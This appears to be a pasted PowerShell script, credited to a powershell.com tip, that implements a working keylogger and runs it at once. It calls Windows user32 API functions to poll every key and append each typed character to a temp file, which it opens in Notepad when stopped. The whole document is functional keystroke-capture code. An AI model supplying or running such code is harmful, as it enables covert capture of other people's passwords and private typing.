1tWM8kQ8

1#requires -Version 2
2function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
3    <#
4    .DESCRIPTION
5        By accessing the Windows low-level API functions, a script can constantly
6        monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
7        Run the function Start-Keylogger to start logging key presses. Once you
8        stop the script by pressing CTRL+C, the collected key presses are displayed
9    .NOTES
10        http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
11    #>
12    # Signatures for API Calls
13    $signatures = @'
14[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
15public static extern short GetAsyncKeyState(int virtualKeyCode);
16[DllImport("user32.dll", CharSet=CharSet.Auto)]
17public static extern int GetKeyboardState(byte[] keystate);
18[DllImport("user32.dll", CharSet=CharSet.Auto)]
19public static extern int MapVirtualKey(uint uCode, int uMapType);
20[DllImport("user32.dll", CharSet=CharSet.Auto)]
21public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
22'@
23
24    # load signatures and make members available
25    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
26
27    # create output file
28    $null = New-Item -Path $Path -ItemType File -Force
29
30    try {
31        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
32
33        # create endless loop. When user presses CTRL+C, finally-block
34        # executes and shows the collected key presses
35        while ($true) {
36            Start-Sleep -Milliseconds 40
37
38            # scan all ASCII codes above 8
39            for ($ascii = 9; $ascii -le 254; $ascii++) {
40                # get current key state
41                $state = $API::GetAsyncKeyState($ascii)
42
43                # is key pressed?
44                if ($state -eq -32767) {
45                    $null = [console]::CapsLock
46
47                    # translate scan code to real code
48                    $virtualKey = $API::MapVirtualKey($ascii, 3)
49
50                    # get keyboard state for virtual keys
51                    $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
52                    $checkkbstate = $API::GetKeyboardState($kbstate)
53
54                    # prepare a StringBuilder to receive input key
55                    $mychar = New-Object -TypeName System.Text.StringBuilder
56
57                    # translate virtual key
58                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
59
60                    if ($success) {
61                        # add key to logger file
62                        [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
63                    }
64                }
65            }
66        }
67    }
68    finally {
69        # open logger file in Notepad
70        notepad $Path
71    }
72}
73
74# records all key presses until script is aborted by pressing CTRL+C
75# will then open the file with collected key codes
76Start-KeyLogger